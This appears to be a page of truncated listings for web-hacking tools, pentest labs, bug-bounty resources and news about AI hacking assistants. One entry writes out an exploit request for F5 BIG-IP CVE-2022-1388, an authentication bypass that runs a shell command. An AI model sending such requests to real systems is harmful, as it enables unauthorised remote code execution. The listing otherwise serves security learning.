hacktronian

Pentesing Tools That All Hacker Needs. HACKTRONIAN Menu : Information Gathering Password Attacks Wireless Testing Exploitation Tools Sniffing & Spoofing Web Hacking Private Web Hacking Post Exploitation Install The HACKTRONIAN Information Gathering: Nmap Setoolkit Port Scanning Host To IP wordpre...

Learn-Web-Hacking

Web Hacking Study Notes 中文版 README Link to notes English Translation Status This English version is a work in progress. The translated table of contents is intended to help readers find topics, but many pages in the English site may still show the original Chinese text. The Chinese files under...

WebHackersWeapons

A collection of awesome tools used by Web hackers. Happy hacking , Happy bug-hunting! Family project Table of Contents Weapons Tools Bookmarklets Browser Addons Burpsuite, Caido and ZAP Addons Contribute Thanks to contributor Weapons Attributes Tools Read more...

Resources-for-Beginner-Bug-Bounty-Hunters

Resources-for-Beginner-Bug-Bounty-Hunters Intro Current Version: 2023.01 Welcome to our web hacking and bug bounty hunting resource repository! A curated collection of web hacking tools, tips, and resources is available here. We hope that this repository will be a valuable resource for you as you...

pentest_lab

Pentest Lab I'm not actively developing on this anymore, but will fix bugs and look at issues and pull requests. Help is appreciated : This local pentest lab leverages docker compose to spin up multiple victim services and an attacker service running Kali Linux. If you run this lab for the first...

awesome-web-hacking

awesome-web-hacking Esta lista está dirigida a cualquiera que quiera aprender sobre seguridad de aplicaciones web pero no tenga un punto de partida. Puedes ayudar enviando Pull Requests para añadir más información. Si no te apetece hacer PRs, puedes escribirme en Twitter a @infoslack Tabla de...

web-hacking-playground

Web Hacking Playground 描述 Web Hacking Playground 是一个受控的 Web 黑客环境。它包含真实案例中发现的漏洞，既来自渗透测试也来自漏洞赏金项目。目标是让用户能够通过这些漏洞进行练习，并学习如何检测和利用它们。 还将涉及其他有趣的主题，例如：通过创建自定义有效载荷绕过过滤器、执行利用多个漏洞的链式攻击、开发概念验证脚本等。 重要说明 应用程序源代码是可见的。然而，本实验室采用黑盒方法。因此，不应通过审查代码来解决问题。 此外，需要注意的是，模糊测试（包括参数和目录）以及暴力攻击在本实验室中不会带来任何优势。 环境搭建 建议使用 Kali...

Lockdoor-Framework

Lockdoor v2.3 ⚠️ This project is not maintained anymore. ⚠️ Find more at https://g.co/kgs/TtYRJJP Table of contents Table of contents Changelog 📌 : Badges 📌 : Support me 💰 : Contributors ⭐ : Versions 06/2021 : 2.3 03/2020 : 2.2.3 Blogs & Articles 📰 : Overview 📙 : Features 📙 : Pentesting Tools...

TIWAP

完全不安全的Web应用项目（TIWAP） TIWAP是一个使用Flask制作的Web安全测试实验室，旨在让初涉安全领域的学习者了解各种Web漏洞。受DVWA启发，贡献者尽力再现了多种Web漏洞。 该应用仅用于教育目的，帮助在法律允许的环境中学习网络攻击技术。 点击这里了解更多信息 免责声明 强烈建议在虚拟机而非实际Web服务器（内部或外部）上安装该实验室。 我们不对任何人使用本应用（TIWAP）的方式负责。 该应用仅用于教育目的，不应被恶意使用。 如果您的Web服务器因安装本应用而受到破坏，这不是我们的责任，而是上传和安装它的人的责任。 安装与设置...

pentest-tools

pentest-tools A collection of custom security tools for quick needs. Important note ‼ A big clean occured in 2022-11 ‼ Some useless/not working scripts have been archived and some others have been moved to their own repository to get more visibility, feel free to check them: apk-analyzer...

pegasus-neo

root@kitploit: | \ | \ | | | | / / |/ / | | | / | | | | / / | | | \ \ || \ \ |\ | || |, |,|/,|/| | |/ ███▄ █ ▓█████ ▒█████ ██ ▀█ █ ▓█ ▀ ▒██▒ ██▒ ▓██ ▀█ ██▒▒███ ▒██░ ██▒ ▓██▒ ▐▌██▒▒▓█ ▄ ▒██ ██░ ▒██░ ▓██░░▒████▒░ ████▓▒░ ░ ▒░ ▒ ▒ ░░ ▒░ ░░ ▒░▒░▒░ ░ ░░ ░ ▒░ ░ ░ ░ ░ ▒ ▒░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░...

hacktronian

所有黑客需要的渗透测试工具。 HACKTRONIAN 菜单 : 信息收集 密码攻击 无线测试 利用工具 嗅探与欺骗 Web 黑客 私有 Web 黑客 后期利用 安装 HACKTRONIAN 信息收集: Nmap Setoolkit 端口扫描 主机转 IP WordPress 用户 CMS 扫描器 XSStrike Dork - Google Dork 被动漏洞审计 扫描服务器用户 Crips 密码攻击: Cupp Ncrack 无线测试: reaver pixiewps Fluxion 利用工具: ATSCAN sqlmap Shellnoob commix FTP 自动绕过...

vajra

一个用于 Web 应用程序的自动化 Web 黑客框架 目录 关于 Vajra 什么是 Vajra 主要特性 Vajra 的功能 安装 使用 docker-compose 运行 Vajra 使用的工具 贡献 许可证 未来计划/开发中 致谢 免责声明 常见问题 关于 Vajra 的详细见解请访问 https://hackwithproxy.medium.com/introducing-vajra-an-advanced-web-hacking-framework-bd8307a01aa8 关于 Vajra Vajra 是一个自动化 Web 黑客框架，用于在 Web...

BUG-BOUNTY-METHODOLOGY

🕷️ Bug Bounty & Pentest Web — Metodologia Completa "Script...

AI Agents vs Humans: Who Wins at Web Hacking in 2026?

Wiz Research teamed up with Irregular, a frontier AI security lab, to settle this once and for all...

Xanthorox AI Surfaces on Dark Web as Full Spectrum Hacking Assistant

New Xanthorox AI hacking platform spotted on dark web with modular tools, offline mode, and advanced voice, image, and code-based cyberattack features...

F5 BIG-IP Remote Code Execution

F5 BIG-IP RCE exploitation CVE-2022-1388 POST 1: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl commandliner: $ curl -i -s -k -X $'POST' -H $'Host: :8443' -H...

PayloadsAllTheThings

This is a collection of security-related tools and resources, including a list of useful payloads and bypass techniques for web application security and penetration testing/CTF Capture The Flag. The repository includes tools such as Pacu, an AWS exploitation framework, and Bucket Finder, a tool f...

ZDResearch Advanced Web Hacking Training 2018 – Learn Online

Are you looking to master web hacking? Interested in a bug-hunting career? Do you want to land a job in cybersecurity? Are you already working as a security engineer, but want to further advance or refine your skills? If yes, read on. ZDResearch Advanced Web Hacking AWH course, including optional...

ZDResearch Advanced Web Hacking Training 2018 – Learn Online

Are you looking to master web hacking? Interested in a bug-hunting career? Do you want to land a job in cybersecurity? Are you already working as a security engineer, but want to further advance or refine your skills? If yes, read on. ZDResearch Advanced Web Hacking AWH course, including optional...